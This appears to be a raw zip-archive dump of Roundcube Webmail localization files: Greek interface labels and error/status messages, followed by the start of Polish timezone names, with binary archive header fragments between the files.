$labels['arialabelmessagessearchfilter'] = 'Φίλτρο λίστας αλληλογραφίας';
$labels['arialabelmailsearchform'] = 'Φόρμα αναζήτησης μηνύματος e-mail';
$labels['arialabelcontactsearchform'] = 'Φόρμα αναζήτησης επαφών';
$labels['arialabelmailquicksearchbox'] = 'Πεδίο αναζήτησης e-mail';
$labels['arialabelquicksearchbox'] = 'Αναζήτηση εισόδου';
$labels['arialabelfoldersearchfilter'] = 'Φίλτρο λίστας φακέλων';
$labels['arialabelfoldersearchform'] = 'Φόρμα αναζήτησης φακέλων';
$labels['arialabelfolderlist'] = 'Επιλογή καταλόγου e-mail';
$labels['arialabelmessagelist'] = 'Λίστα μηνυμάτων e-mail';
$labels['arialabelmailpreviewframe'] = 'Προεπισκόπηση μηνύματος';
$labels['arialabelmailboxmenu'] = 'Μενού ενεργειών φακέλων';
$labels['arialabellistselectmenu'] = 'Μενού επιλογής λίστας';
$labels['arialabelthreadselectmenu'] = 'Μενού λίστας θεμάτων';
$labels['arialabelmessagelistoptions'] = 'Εμφάνιση λίστας μηνυμάτων και επιλογές ταξινόμησης';
$labels['arialabelmailimportdialog'] = 'Διάλογος εισαγωγής μηνύματος';
$labels['arialabelmessagenav'] = 'Πλοήγηση μηνύματος';
$labels['arialabelmessagebody'] = 'Σώμα μηνύματος';
$labels['arialabelmessageactions'] = 'Ενέργειες μηνύματος';
$labels['arialabelcontactquicksearch'] = 'Φόρμα αναζήτησης επαφών';
$labels['arialabelcontactsearchbox'] = 'Πεδίο αναζήτησης επαφής';
$labels['arialabelmessageheaders'] = 'Κεφαλίδες μηνυμάτων';
$labels['arialabelforwardingoptions'] = 'Επιλογές προώθησης';
$labels['arialabelreplyalloptions'] = 'Επιλογές απάντησης προς όλους';
$labels['arialabelmoremessageactions'] = 'Περισσότερες ενέργειες μηνύματος';
$labels['arialabelmorecontactactions'] = 'Περισσότερες ενέργειες επαφών';
$labels['arialabelmarkmessagesas'] = 'Σήμανση επιλεγμένων μηνυμάτων ως...';
$labels['arialabelcomposeoptions'] = 'Επιλογές σύνθεσης';
$labels['arialabelresponsesmenu'] = 'Μενού έτοιμων απαντήσεων';
$labels['arialabelattachmentuploadform'] = 'Φόρμα μεταφόρτωσης συνημμένων';
$labels['arialabelattachmentmenu'] = 'Επιλογές συνημμένων';
$labels['arialabelmailtomenu'] = 'Επιλογές διεύθυνσης email';
$labels['arialabelattachmentpreview'] = 'Προεπισκόπηση συνημμένων';
$labels['ariasummarycomposecontacts'] = 'Επιλογή ως παραλήπτες από λίστα επαφών και ομάδων';
$labels['arialabelcontactexportoptions'] = 'Επιλογές εξαγωγής επαφών';
$labels['arialabelabookgroupoptions'] = 'Επιλογές βιβλίου διευθύνσεων/ομάδων';
$labels['arialabelpreferencesform'] = 'Φόρμα προτιμήσεων';
$labels['arialabelidentityeditfrom'] = 'Φόρμα επεξεργασίας ταυτότητας';
$labels['arialabelresponseeditfrom'] = 'Φόρμα επεξεργασίας απάντησης';
$labels['arialabelsearchterms'] = 'Όροι αναζήτησης';
$labels['arialabeldropactionmenu'] = 'Drag-n-Drop μενού ενεργειών';
$labels['arialabelheadersmenu'] = 'Μενού προσθήκης παραληπτών (κεφαλίδα)';
$labels['arialabelimagetools'] = 'Εργαλεία εικόνας';
$labels['helplistnavigation'] = 'Εμφάνιση πλοήγησης πληκτρολογίου';
$labels['helplistkeyboardnavigation'] = "Βέλη πάνω/κάτω: Μετακίνηση εστίασης/επιλογής γραμμής.
Διάστημα: Επιλογή εστιασμένης γραμμής.
Shift + Βέλος πάνω/κάτω: Επιλογή επιπλέον γραμμής πάνω/κάτω.
Ctrl + Διάστημα: Προσθήκη/αφαίρεση εστιασμένης γραμμής στα επιλεγμένα.";
$labels['helplistkeyboardnavmessages'] = "Βέλη αριστερά/δεξιά: εμφάνιση/απόκρυψη νήματος μηνυμάτων (μόνο στη λειτουργία νήματος).
Enter: Άνοιγμα επιλεγμένου/εστιασμένου μηνύματος.
Διαγραφή: Μετακίνηση επιλεγμένων μηνυμάτων στα Διεγραμμένα.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Άνοιγμα της επιλεγμένης/εστιασμένης επαφής.";
PK
h�\���k�k'program/localization/el_GR/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Έχει προκύψει κάποιο σφάλμα!';
$messages['loginfailed']  = 'Η είσοδος απέτυχε.';
$messages['cookiesdisabled'] = 'Ο περιηγητής σας (browser) δεν αποδέχεται cookies.';
$messages['sessionerror'] = 'Η συνεδρία σας είναι άκυρη ή έχει λήξει.';
$messages['cookiesmismatch'] = 'Εντοπίστηκε αναντιστοιχία στα cookies. Παρακαλούμε καθαρίστε τα cookies του περιηγητή σας.';
$messages['storageerror'] = 'Η σύνδεση με το διακομιστή αποθήκευσης απέτυχε.';
$messages['servererror'] = 'Σφάλμα του εξυπηρετητή!';
$messages['servererrormsg'] = 'Σφάλμα εξυπηρετητή: $msg';
$messages['accountlocked'] = 'Πάρα πολλές αποτυχημένες προσπάθειες σύνδεσης. Δοκιμάστε ξανά αργότερα.';
$messages['connerror'] = 'Σφάλμα σύνδεσης (Αποτυχία πρόσβασης στον διακομιστή)!';
$messages['dberror'] = 'Σφάλμα βάσης δεδομένων!';
$messages['dbconnerror'] = 'Αδυναμία σύνδεσης με τη βάση δεδομένων!';
$messages['windowopenerror'] = 'Το αναδυόμενο παράθυρο αποκλείστηκε!';
$messages['requesttimedout'] = 'Το αίτημα εξέπνευσε χρονικά';
$messages['errorreadonly'] = 'Η διαδικασία δεν μπορεί να ολοκληρωθεί. Ο φάκελος είναι μόνο για ανάγνωση.';
$messages['errornoperm'] = 'Η διαδικασία δεν μπορεί να ολοκληρωθεί. Άρνηση πρόσβασης.';
$messages['erroroverquota'] = 'Δεν είναι δυνατή η εκτέλεση της λειτουργίας. Δεν υπάρχει ελεύθερος χώρος στο δίσκο.';
$messages['erroroverquotadelete'] = 'Δεν υπάρχει ελεύθερος χώρος στο δίσκο. Χρησιμοποιήστε το συνδυασμό πλήκτρων SHIFT+DEL για να διαγράψετε μηνύματα.';
$messages['invalidrequest'] = 'Λανθασμένο αίτημα! Δεν αποθηκεύτηκαν δεδομένα.';
$messages['invalidhost'] = 'Άκυρο όνομα εξυπηρετητή.';
$messages['nomessagesfound'] = 'Δεν βρέθηκαν μηνύματα σε αυτή τη θυρίδα.';
$messages['loggedout'] = 'Έχετε αποσυνδεθεί επιτυχώς. Καλή συνέχεια!';
$messages['mailboxempty'] = 'Η θυρίδα είναι άδεια';
$messages['nomessages'] = 'Δεν υπάρχουν μηνύματα';
$messages['refreshing'] = 'Ανανέωση....';
$messages['loading'] = 'Φόρτωση...';
$messages['uploading'] = 'Το αρχείο φορτώνεται...';
$messages['attaching'] = 'Το αρχείο επισυνάπτεται...';
$messages['uploadingmany'] = 'Φόρτωση αρχείων...';
$messages['loadingdata'] = 'Φόρτωση δεδομένων...';
$messages['checkingmail'] = 'Έλεγχος για νέα μηνύματα...';
$messages['sendingmessage'] = 'Αποστολή μηνύματος...';
$messages['messagesent'] = 'Μήνυμα εστάλη επιτυχώς.';
$messages['savingmessage'] = 'Αποθήκευση μηνύματος...';
$messages['messagesaved'] = 'Το μήνυμα αποθηκεύτηκε στα Πρόχειρα.';
$messages['successfullysaved'] = 'Αποθηκεύτηκε επιτυχώς.';
$messages['savingresponse'] = 'Αποθήκευση του κειμένου απάντησης...';
$messages['deleteresponseconfirm'] = 'Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτό το κείμενο απάντησης;';
$messages['nocontactselected'] = 'Δεν έχετε επιλέξει κάποια επαφή ακόμα.';
$messages['addedsuccessfully'] = 'Η επαφή προστέθηκε επιτυχώς στο βιβλίο επαφών.';
$messages['contactexists'] = 'Υπάρχει ήδη μια επαφή με την ίδια διεύθυνση ηλεκτρονικού ταχυδρομείου.';
$messages['contactnameexists'] = 'Υπάρχει ήδη μια επαφή με το ίδιο όνομα.';
$messages['blockedimages'] = 'Για να προστατευτεί το απόρρητο σας, οι απομακρυσμένες εικόνες έχουν απενεργοποιηθεί σε αυτό το μήνυμα.';
$messages['blockedresources'] = 'Για την προστασία της ιδιωτικότητάς σας, κάποιοι απομακρυσμένοι πόροι έχουν μπλοκαριστεί.';
$messages['suspiciousemail'] = 'Το παρόν μήνυμα περιέχει ύποπτες διευθύνσεις email που μπορεί να είναι κακόβουλες.';
$messages['bccemail'] = 'Το(τα) προωθούμενο(-α) μήνυμα(-τα) περιέχει(-ουν) κρυφούς παραλήπτες (Bcc).';
$messages['bouncehint'] = 'Το μήνυμα θα αποσταλεί χωρίς καμία τροποποίηση, δηλ. με το αρχικό σώμα, τις αρχικές επικεφαλίδες και τους αρχικους παραλήπτες.';
$messages['encryptedmessage'] = 'Αυτό το μήνυμα είναι κρυπτογραφημένο και δε μπορεί να προβληθεί. Συγγνώμη!';
$messages['externalmessagedecryption'] = 'Αυτό είναι ένα κρυπτογραφημένο μήνυμα και μπορεί να αποκρυπτογραφηθεί με την επέκταση του προγράμματος περιήγησης σας.';
$messages['nopubkeyfor'] = 'Δε βρέθηκε έγκυρο δημόσιο κλειδί για το $email';
$messages['nopubkeyforsender'] = 'Δεν βρέθηκε ισχύον δημόσιο κλειδί  για την ταυτότητα αποστολέα σας. Θέλετε να κρυπτογραφήσετε το μήνυμα μόνο για τους αποδέκτες;';
$messages['encryptnoattachments'] = 'Τα ήδη ανεβασμένα συνημμένα δεν μπορούν να κρυπτογραφηθούν. Παρακαλώ προσθέστε τα ξανά στον επεξεργαστή κρυπτογράφησης.';
$messages['searchpubkeyservers'] = 'Θέλετε να αναζητήσετε τους διακομιστές δημόσιου κλειδιού για τα κλειδιά που λείπουν;';
$messages['encryptpubkeysfound'] = 'Βρέθηκαν τα ακόλουθα δημόσια κλειδιά:';
$messages['keyservererror'] = 'Αποτυχία λήψης κλειδιού από τον διακομιστή κλειδιών.';
$messages['keyimportsuccess'] = 'Το δημόσιο κλειδί $key εισήχθη επιτυχώς στη λίστα κλειδιών σας.';
$messages['nocontactsfound'] = 'Δε βρέθηκαν επαφές.';
$messages['contactnotfound'] = 'Η ζητούμενη επαφή δεν βρέθηκε.';
$messages['contactsearchonly'] = 'Πρέπει να χρησιμοποιήσετε μια φόρμα αναζήτησης για να δείτε επαφές από την επιλεγμένη λίστα διευθύνσεων.';
$messages['sendingfailed'] = 'Η αποστολή του μηνύματος απέτυχε.';
$messages['senttooquickly'] = 'Παρακαλώ περιμένετε $sec δευτερόλεπτα πριν στείλετε το μήνυμα.';
$messages['errorsavingsent'] = 'Προέκυψε σφάλμα κατά την αποθήκευση αποσταλμένου μηνύματος.';
$messages['errorsaving'] = 'Προέκυψε σφάλμα κατά την αποθήκευση.';
$messages['errormoving'] = 'Τα μηνύματα δεν ήταν δυνατό να μετακινηθούν.';
$messages['errorcopying'] = 'Δεν ήταν δυνατή η αντιγραφή του μηνύματος/των.';
$messages['errordeleting'] = 'Το μήνυμα δεν ήταν δυνατό να διαγραφεί.';
$messages['errormarking'] = 'Δεν έγινε επισήμανση στο μήνυμα.';
$messages['alerttitle'] = 'Προσοχή';
$messages['confirmationtitle'] = 'Είστε βέβαιος/η...';
$messages['deletecontactconfirm']  = 'Θέλετε να διαγράψετε τη συγκεκριμένη επαφή/ές;';
$messages['deletegroupconfirm']  = 'Είστε βέβαιοι πως θέλετε να διαγράψετε την επιλεγμένη ομάδα;';
$messages['deletemessagesconfirm'] = 'Θέλετε να διαγράψετε το συγκεκριμένο μήνυμα/τα;';
$messages['deletefolderconfirm']  = 'Θέλετε να διαγράψετε τον συγκεκριμένο φάκελο;';
$messages['movefolderconfirm']  = 'Είστε σίγουροι ότι θέλετε να μετακινήσετε αυτόν το φάκελο?';
$messages['purgefolderconfirm']  = 'Θέλετε να διαγράψετε όλα τα μηνύματα στον συγκεκριμένο φάκελο;';
$messages['contactdeleting'] = 'Διαγραφή επαφών...';
$messages['groupdeleting'] = 'Διαγραφή ομάδας...';
$messages['folderdeleting'] = 'Διαγραφή φακέλου...';
$messages['foldermoving'] = 'Μεταφορά φακέλου...';
$messages['foldersubscribing'] = 'Εγγραφή φακέλου...';
$messages['folderunsubscribing'] = 'Απεγγραφή φακέλου...';
$messages['formincomplete'] = 'Η φόρμα δεν έχει συμπληρωθεί πλήρως.';
$messages['noemailwarning'] = 'Παρακαλώ εισάγετε έγκυρη διεύθυνση email.';
$messages['nonamewarning']  = 'Παρακαλώ εισάγετε όνομα.';
$messages['nopagesizewarning'] = 'Παρακαλώ εισάγετε μέγεθος σελίδας.';
$messages['nosenderwarning'] = 'Παρακαλώ εισάγετε τη διεύθυνση email του αποστολέα.';
$messages['recipientsadded'] = 'Επιτυχής προσθήκη παραλήπτη(ών).';
$messages['norecipientwarning'] = 'Παρακαλώ εισάγετε τουλάχιστο έναν παραλήπτη.';
$messages['disclosedrecipwarning'] = 'Όλοι οι παραλήπτες θα βλέπουν τις διευθύνσεις email του καθενός. Για να προστατέψετε την ιδιωτικότητά τους μπορείτε να χρησιμοποιήσετε το πεδίο Bcc.';
$messages['disclosedreciptitle'] = 'Υπέρβαση μέγιστου αριθμού παραληπτών';
$messages['nosubjectwarning']  = 'Το πεδίο "Θέμα" είναι άδειο. Θέλετε να εισάγετε ένα τώρα;';
$messages['nosubjecttitle']  = 'Κανένα θέμα';
$messages['nobodywarning'] = 'Αποστολή μηνύματος χωρίς κείμενο;';
$messages['notsentwarning'] = 'Αυτό το μήνυμα δεν έχει αποσταλεί και έχει αλλαγές που δεν έχουν αποθηκευτεί. Θέλετε να αναιρεθούν οι αλλαγές σας?';
$messages['restoresavedcomposedata'] = 'Υπάρχει ένα προηγούμενο πρόχειρο μήνυμα το οποίο δεν έχει σταλεί.\n\nΘέμα: $subject\Αποθηκεύτηκε: $date\n\nΘέλετε να το ανακτήσετε;';
$messages['nosearchname'] = 'Παρακαλώ εισάγετε όνομα επαφής ή διεύθυνση e-mail.';
$messages['notuploadedwarning'] = 'Δεν έχουν φορτωθεί ακόμα όλα τα συνημμένα. Παρακαλώ περιμένετε ή ακυρώστε το ανέβασμα.';
$messages['searchsuccessful'] = 'Βρέθηκαν $nr μηνύματα.';
$messages['contactsearchsuccessful'] = 'Βρέθηκαν $nr επαφές.';
$messages['searchnomatch'] = 'Η αναζήτηση δεν επέστρεψε αποτελέσματα.';
$messages['searching'] = 'Αναζήτηση...';
$messages['checking'] = 'Έλεγχος...';
$messages['stillsearching'] = 'Αναζήτηση...';
$messages['nospellerrors'] = 'Δεν βρέθηκαν ορθογραφικά λάθη.';
$messages['folderdeleted'] = 'Ο φάκελος διαγράφηκε επιτυχώς.';
$messages['foldersubscribed'] = 'Ο φάκελος εχει εγγραφεί με επιτυχία.';
$messages['folderunsubscribed'] = 'Ο φάκελος απεγγράφηκε επιτυχώς.';
$messages['folderpurged'] = 'Ο φάκελος εκκενώθηκε επιτυχώς.';
$messages['folderexpunged'] = 'Ο φάκελος συμπιέστηκε επιτυχώς.';
$messages['deletedsuccessfully'] = 'Επιτυχής διαγραφή.';
$messages['converting'] = 'Κατάργηση διαμορφώσεων κειμένου...';
$messages['messageopenerror'] = 'Η φόρτωση μηνυμάτων από τον διακομιστή απέτυχε.';
$messages['filelinkerror'] = 'Η επισύναψη του αρχείου απέτυχε.';
$messages['fileuploaderror'] = 'Το ανέβασμα του αρχείου απέτυχε.';
$messages['csvfilemismatch'] = 'Δεν υποστηρίζεται η εισαγωγή πολλαπλών αρχείων CSV με διαφορετικά πεδία.';
$messages['filesizeerror'] = 'Το ανεβασμένο αρχείο ξεπερνάει το μέγιστο μέγεθος των $size.';
$messages['filecounterror'] = 'Μπορείτε να ανεβάσετε το πολύ $count αρχεία ταυτόχρονα.';
$messages['msgsizeerror'] = 'Αποτυχία επισύναψης αρχείου. Έχετε υπερβεί το μέγιστο μέγεθος ενός μηνύματος ($size).';
$messages['msgsizeerrorfwd'] = 'Έχετε υπερβεί το μέγιστο επιτρεπόμενο μέγεθος μηνύματος ($size). $num μήνυμα(τα) δεν έχει(ουν) επισυναφθεί.';
$messages['copysuccess'] = 'Επιτυχής αντιγραφή $nr επαφών.';
$messages['movesuccess'] = 'Μεταφέρθηκαν με επιτυχία $nr επαφές.';
$messages['copyerror'] = 'Αποτυχία αντιγραφής επαφών.';
$messages['moveerror'] = 'Η μετακίνηση επαφών ήταν αδύνατη.';
$messages['sourceisreadonly'] = 'Το πεδίο διεύθυνσης είναι μόνο για ανάγνωση.';
$messages['errorsavingcontact'] = 'Η αποθήκευση της διεύθυνσης επαφής απέτυχε.';
$messages['movingmessage'] = 'Μετακίνηση μηνύματος/των...';
$messages['copyingmessage'] = 'Αντιγραφή μηνυμάτων...';
$messages['copyingcontact'] = 'Αντιγραφή επαφών...';
$messages['movingcontact'] = 'Μετακίνηση επαφής(ών)...';
$messages['deletingmessage'] = 'Διαγραφή μηνυμάτων...';
$messages['markingmessage'] = 'Σήμανση μηνυμάτων...';
$messages['addingmember'] = 'Προσθήκη επαφών στην ομάδα...';
$messages['removingmember'] = 'Αφαίρεση επαφών από την ομάδα...';
$messages['receiptsent'] = 'Επιτυχής αποστολή αναφοράς ανάγνωσης.';
$messages['errorsendingreceipt'] = 'Αποστολή αναφοράς απέτυχε.';
$messages['deleteidentityconfirm'] = 'Είστε βέβαιοι πως θέλετε να διαγράψετε αυτή την ταυτότητα;';
$messages['nodeletelastidentity'] = 'Δε μπορείτε να διαγράψετε αυτήν την ταυτότητα, είναι η τελευταία.';
$messages['forbiddencharacter'] = 'Η ονομασία φακέλου περιέχει μη επιτρεπτό χαρακτήρα.';
$messages['selectimportfile'] = 'Επιλέξτε αρχείο για ανέβασμα.';
$messages['addresswriterror'] = 'Το επιλεγμένο βιβλίο διευθύνσεων δεν είναι εγγράψιμο.';
$messages['contactaddedtogroup'] = 'Οι επαφές προστέθηκαν στην ομάδα με επιτυχία.';
$messages['contactremovedfromgroup'] = 'Οι επαφές αφαιρέθηκαν από την ομάδα με επιτυχία.';
$messages['nogroupassignmentschanged'] = 'Δεν αλλαξαν οι αναθεσεις της ομαδας.';
$messages['importwait'] = 'Εισαγωγή, παρακαλώ περιμένετε...';
$messages['importformaterror'] = 'Η εισαγωγή απέτυχε! Το ανεβασμένο αρχείο δεν είναι έγκυρο αρχείο εισαγωγής δεδομένων.';
$messages['importconfirm'] = '<b>Εισήχθησαν $inserted επαφές με επιτυχία</b>';
$messages['importconfirmskipped'] = '<b>Παραλείφθηκαν $skipped υπάρχουσες καταχωρήσεις</b>';
$messages['importmessagesuccess'] = 'Επιτυχής εισαγωγή $nr μηνυμάτων';
$messages['importmessageerror'] = 'Η εισαγωγή απέτυχε! Το ανεβασμένο αρχείο δεν είναι έγκυρο αρχείο μηνύματος ή φακέλου μηνυμάτων.';
$messages['opnotpermitted'] = 'Η λειτουργία δεν επιτρέπεται!';
$messages['nofromaddress'] = 'Λείπει η διεύθυνση email στην επιλεγμένη ταυτότητα.';
$messages['editorwarning'] = 'Η αλλαγή του τύπου επεξεργασίας μπορεί να προκαλέσει απώλεια της μορφοποίησης κειμένου. Είστε βέβαιοι πως θέλετε να συνεχίσετε;';
$messages['httpreceivedencrypterror'] = 'Ανεπανόρθωτο σφάλμα. Επικοινωνήστε με το διαχειριστή του εξυπηρετητή. <b>Το μήνυμά σας δεν στάλθηκε.</b>';
$messages['smtpconnerror'] = 'Σφάλμα SMTP ($code): Απέτυχε η σύνδεση με τον εξυπηρετητή.';
$messages['smtpautherror'] = 'Σφάλμα SMTP ($code): Σφάλμα ταυτοποίησης.';
$messages['smtpfromerror'] = 'Σφάλμα SMTP ($code): Αποτυχία ορισμού αποστολέα "$from" ($msg).';
$messages['smtptoerror'] = 'Σφάλμα SMTP ($code): Αποτυχία προσθήκης παραλήπτη "$to" ($msg).';
$messages['smtprecipientserror'] = 'Σφάλμα SMTP: Αδύνατο να προσπελαστεί η λίστα παραληπτών.';
$messages['smtputf8error'] = 'Σφάλμα SMTP: Ο διακομιστής δεν υποστηρίζει Unicode σε διευθύνσεις email.';
$messages['smtpsizeerror'] = 'Σφάλμα SMTP: Το μέγεθος του μηνύματος υπερβαίνει το όριο του διακομιστή ($limit)';
$messages['smtperror'] = 'Σφάλμα SMTP: $msg';
$messages['emailformaterror'] = 'Μη έγκυρη διεύθυνση e-mail: $email';
$messages['toomanyrecipients'] = 'Υπερβολικά μεγάλο πλήθος αποδεκτών. Μειώστε τον αριθμό των αποδεκτών σε $max.';
$messages['maxgroupmembersreached'] = 'Ο αριθμός των μελών της ομάδας υπερβαίνει τον μέγιστο των $max μελών.';
$messages['internalerror'] = 'Προέκυψε εσωτερικό σφάλμα. Παρακαλώ δοκιμάστε ξανά.';
$messages['contactdelerror'] = 'Δεν είναι δυνατή η διαγραφή της επαφής/ων.';
$messages['contactdeleted'] = 'Η επαφή/ές διαγράφηκαν με επιτυχία.';
$messages['contactrestoreerror'] = 'Η διαγραμμένη επαφή(ές) δεν είναι δυνατό να επαναφερθεί.';
$messages['contactrestored'] = 'Η επαφή(ές) επαναφέρθηκε.';
$messages['groupdeleted'] = 'Η ομαδα διαγράφηκε επιτυχώς.';
$messages['grouprenamed'] = 'Η ομάδα μετονομάστηκε επιτυχώς.';
$messages['groupcreated'] = 'Η ομάδα δημιουργήθηκε επιτυχώς.';
$messages['savedsearchdeleted'] = 'Η αποθηκευμένη αναζήτηση διαγράφηκε επιτυχώς. ';
$messages['savedsearchdeleteerror'] = 'Δεν ήταν δυνατή η διαγραφή της αποθηκευμένης αναζήτησης.';
$messages['savedsearchcreated'] = 'Η αποθηκευμένη αναζητήση δημιουργήθηκε με επιτυχία.';
$messages['savedsearchcreateerror'] = 'Δεν ήταν δυνατό να δημιουργηθεί η αποθηκευμένη αναζήτηση.';
$messages['messagedeleted'] = 'Το μήνυμα(τα) διαγράφηκε επιτυχώς.';
$messages['messagemoved'] = 'Το μήνυμα(τα) μετακινήθηκε επιτυχώς.';
$messages['messagemovedtotrash'] = ' Το μήνυμα(τα) μετακινήθηκε επιτυχώς στα Διεγραμμένα.';
$messages['messagecopied'] = 'Το μήνυμα(τα) αντιγράφηκε επιτυχώς.';
$messages['messagemarked'] = 'Το μήνημα(τα) σημάνθηκε επιτυχώς.';
$messages['autocompletechars'] = 'Εισάγετε τουλάχιστον $min χαρακτήρες για αυτόματη συμπλήρωση.';
$messages['autocompletemore'] = 'Βρέθηκαν περισσότερες καταχωρήσεις που ταιριάζουν. Παρακαλώ πληκτρολογήστε περισσότερους χαρακτήρες.';
$messages['namecannotbeempty'] = 'Το όνομα δεν μπορεί να είναι κενό.';
$messages['nametoolong'] = 'Το όνομα είναι πολύ μεγάλο.';
$messages['namedotforbidden'] = 'Το όνομα του φακέλου δεν μπορεί να αρχίζει με τελεία.';
$messages['folderupdated'] = 'Ο φάκελος ανανεώθηκε επιτυχώς.';
$messages['foldercreated'] = 'Ο φάκελος δημιουργήθηκε επιτυχώς.';
$messages['invalidimageformat'] = 'Μη έγκυρη μορφή εικόνας.';
$messages['mispellingsfound'] = 'Εντοπίστηκαν ορθογραφικά λάθη στο μήνυμα. ';
$messages['parentnotwritable'] = 'Δεν είναι δυνατή η δημιουργία/μετακινήση φάκελου στον επιλεγμένο φάκελο γονέα. Δεν υπάρχει δικαίωμα πρόσβασης. ';
$messages['messagetoobig'] = 'Το τμήμα μηνύματος είναι πολύ μεγάλο για επεξεργασία.';
$messages['attachmentvalidationerror'] = 'Αυτό το συνημμένο είναι ύποπτο επειδή ο τύπος του δεν συμφωνεί με τον τύπο που δηλώνεται στο μήνυμα. Εάν δεν εμπιστεύεστε τον αποστολέα, μην το ανοίξετε στο πρόγραμμα περιήγησης καθώς μπορεί να περιέχει κακόβουλα περιεχόμενα.<br/><br/><em>Expected: $expected; found: $detected</em>';
$messages['noscriptwarning'] = 'Προσοχή: Αυτή η υπηρεσία webmail απαιτεί Javascript! Για να την χρησιμοποιήσετε ενεργοποιήστε το JavaScript στις ρυθμίσεις του περιηγητή σας. ';
$messages['messageissent'] = 'Το μήνυμα έχει ήδη αποσταλεί, αλλά δεν έχει ακόμη αποθηκευτεί. Θέλετε να το αποθηκεύσετε τώρα;';
$messages['errnotfound'] = 'Δεν βρέθηκε το αρχείο';
$messages['errnotfoundexplain'] = 'Ο πόρος που ζητήθηκε δε βρέθηκε!';
$messages['errfailedrequest'] = 'Αποτυχία αιτήματος';
$messages['errauthorizationfailed'] = 'Απέτυχε η πιστοποίηση';
$messages['errunauthorizedexplain'] = 'Δεν μπορέσαμε να βεβαιωθούμε ότι είστε εξουσιοδοτημένος να έχετε πρόσβαση σε αυτή την υπηρεσία!';
$messages['errrequestcheckfailed'] = 'Ο έλεγχος του αιτήματος απέτυχε';
$messages['errcsrfprotectionexplain'] = "Για την προστασία σας, η πρόσβαση σε αυτόν τον πόρο είναι εξασφαλισμένη έναντι CSRF.\nΑν βλέπετε αυτό, το μήνυμα τότε μάλλον δεν αποσυνδεθήκατε πριν φύγετε από τη web εφαρμογή.\n\nΓια να συνεχίσετε απαιτείται πλέον ανθρώπινη αλληλεπίδραση.";
$messages['errcontactserveradmin'] = 'Παρακαλείστε να επικοινωνήσετε με το διαχειριστή του εξυπηρετητή σας.';
$messages['clicktoresumesession'] = 'Κάντε κλικ εδώ για να συνεχίσετε την προηγούμενη συνεδρία σας';
$messages['errcomposesession'] = 'Σφάλμα στη συνεδρία σύνταξης μηνύματος';
$messages['errcomposesessionexplain'] = 'Η συνεδρία σύνταξης μηνύματος δε βρέθηκε.';
$messages['clicktocompose'] = 'Πατήστε εδώ για να συντάξετε ένα νέο μήνυμα';
$messages['nosupporterror'] = 'Αυτή η δυνατότητα δεν υποστηρίζεται από τον περιηγητή σας.';
$messages['siginserted'] = 'Η υπογραφή εισήχθη επιτυχώς.';
$messages['responseinserted'] = 'Η απάντηση εισήχθη επιτυχώς.';
$messages['noresponsesavailable'] = 'Δεν υπάρχουν διαθέσιμες απαντήσεις';
$messages['listempty'] = 'Η λίστα είναι κενή.';
$messages['listusebutton'] = 'Χρησιμοποιήστε το κουμπί Δημιουργία για να προσθέσετε μια νέα καταχώρηση.';
$messages['keypaircreatesuccess'] = 'Ένα νέο ζεύγος κλειδιών δημιουργήθηκε επιτυχώς για την ταυτότητα $identity.';
$messages['emptyattachment'] = 'Το συννημένο αρχείο φαίνεται να είναι κενό<br>Παρακαλούμε να επικοινωνήσετε με τον αποστολέα του.';
$messages['oauthloginfailed'] = 'Η σύνδεση OAuth απέτυχε. Παρακαλούμε δοκιμάστε αργότερα.';
PK
h�\/;u�*@*@(program/localization/pl_PL/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afryka';
$labels['tz:africa:abidjan'] = 'Abidżan';
$labels['tz:africa:accra'] = 'Akra';
$labels['tz:africa:addis_ababa'] = 'Addis Abeba';
$labels['tz:africa:algiers'] = 'Algier';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangi';
$labels['tz:africa:banjul'] = 'Bandżul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bużumbura';
$labels['tz:africa:cairo'] = 'Kair';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Konakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Dżibuti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'Al-Ujun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Dżuba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Chartum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinszasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lome';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadiszu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjemena';
